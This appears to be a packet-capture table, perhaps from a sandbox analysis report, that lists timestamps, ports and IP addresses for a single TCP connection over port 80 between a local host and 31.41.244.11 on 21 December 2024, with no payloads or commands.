Dec 21, 2024 10:15:19.798316956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.798377991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.799379110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.799623013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.799680948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.800565958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.800628901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.800681114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.800734043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.801848888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.801909924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.801923990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.801975965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.802933931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.802989960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.803037882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.803098917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.804126024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.804274082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.804333925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.805296898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.805351973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.805433035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.805495977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.806476116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.806533098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.806617975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.806673050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.807698011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.807832956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.807887077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.808857918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.808917999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.808969021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.809042931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.810048103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.810107946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.810178041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.811218977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.811278105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.811363935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.811431885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.812532902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.812591076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.812680960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.812736034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.813625097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.813844919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.813915014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.814805031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.814867020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.814877033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.814923048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.815949917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.816073895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.816138029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.817153931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.817213058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.817301989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.817375898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.818324089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.818388939 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.818423986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.818478107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.819523096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.819662094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.819720984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.820677996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.820740938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.820815086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.820883036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.821906090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.821963072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.822089911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.822154999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.823033094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.823105097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.953175068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.953296900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.953476906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.953684092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.953752041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.953820944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.953881025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.954843998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.954978943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.955037117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.956032991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.956091881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.956151962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.956217051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.957257032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.957317114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.957391024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.957446098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.958410025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.958583117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.958637953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.959626913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.959722996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.959732056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.959789038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.960768938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.960830927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.960901022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.961003065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.961978912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.962061882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.962094069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.962152004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.963239908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.963329077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.963393927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.963452101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.964376926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.964441061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.964615107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.964690924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.965514898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.965643883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.965701103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.966723919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.966859102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.966924906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.967935085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.967993975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.968014956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.968063116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.969082117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.969161034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.969213009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.969264984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.970321894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.970396042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.970480919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.970539093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.971481085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.971538067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.971605062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.972662926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.972738028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.972829103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.972882986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.973850965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.973907948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.973906040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.973985910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.975066900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.975157022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.975168943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.975228071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.976207972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.976274014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.976346970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.976397991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.977441072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.977495909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.977557898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.978574991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.978642941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.978708029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.978820086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.979751110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.979811907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.979896069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.980089903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.980957031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.981021881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.981091022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.981198072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.982112885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.982194901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.982254028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.982311964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.983417034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.983474970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.983530998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.983584881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.984483004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.984591961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.984647989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.984761953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.985699892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.985765934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.985825062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.986028910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.986871958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.986938000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.986982107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.987119913 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.988055944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.988127947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.988193035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.988250017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.989290953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.989391088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.989459038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.990416050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.990540028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.990586996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.991679907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.991731882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.991736889 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.991786957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.992759943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.992876053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.992892981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.992980003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.993953943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.994016886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.994077921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.994148016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.995137930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.995250940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.995266914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.995362043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.996321917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.996387005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.996396065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.996445894 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.997510910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.997628927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.997698069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.998981953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.999037027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.999072075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.999130011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.999914885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.000060081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.000127077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.001068115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.001140118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.001192093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.001249075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.002266884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.002325058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.002394915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.002460957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.003442049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.003509045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.003577948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.003678083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.004672050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.004730940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.004793882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.004847050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.005814075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.005914927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.005976915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.006999016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.007103920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.007165909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.008263111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.008321047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.008359909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.008413076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.009368896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.009520054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.009586096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.010546923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.010608912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.010679007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.010778904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.011759043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.011817932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.011885881 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.012068033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.012902021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.012963057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.013027906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.013081074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.014117956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.014173985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.014228106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.014281034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.015363932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.016803026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.145356894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.145433903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.145507097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.145510912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.145512104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.145684004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.145744085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.146694899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.146764994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.146833897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.146889925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.147908926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.147960901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.148014069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.149075985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.149131060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.149136066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.149194956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.150274992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.150392056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.150454998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.151426077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.151493073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.151546001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.151607037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.152625084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.152684927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.152728081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.152798891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.153810978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.153939962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.153996944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.154995918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.155056953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.155124903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.155184031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.156173944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.156240940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.156311989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.156421900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.157414913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.157475948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.157522917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.157582045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.158581972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.158638954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.158691883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.158749104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.159739017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.159856081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.159914017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.160914898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.160979986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.161099911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.161160946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.162080050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.162157059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.162195921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.162256956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.163271904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.163352013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.163428068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.163485050 CET	49781	80	192.168.2.4	31.41.244.11
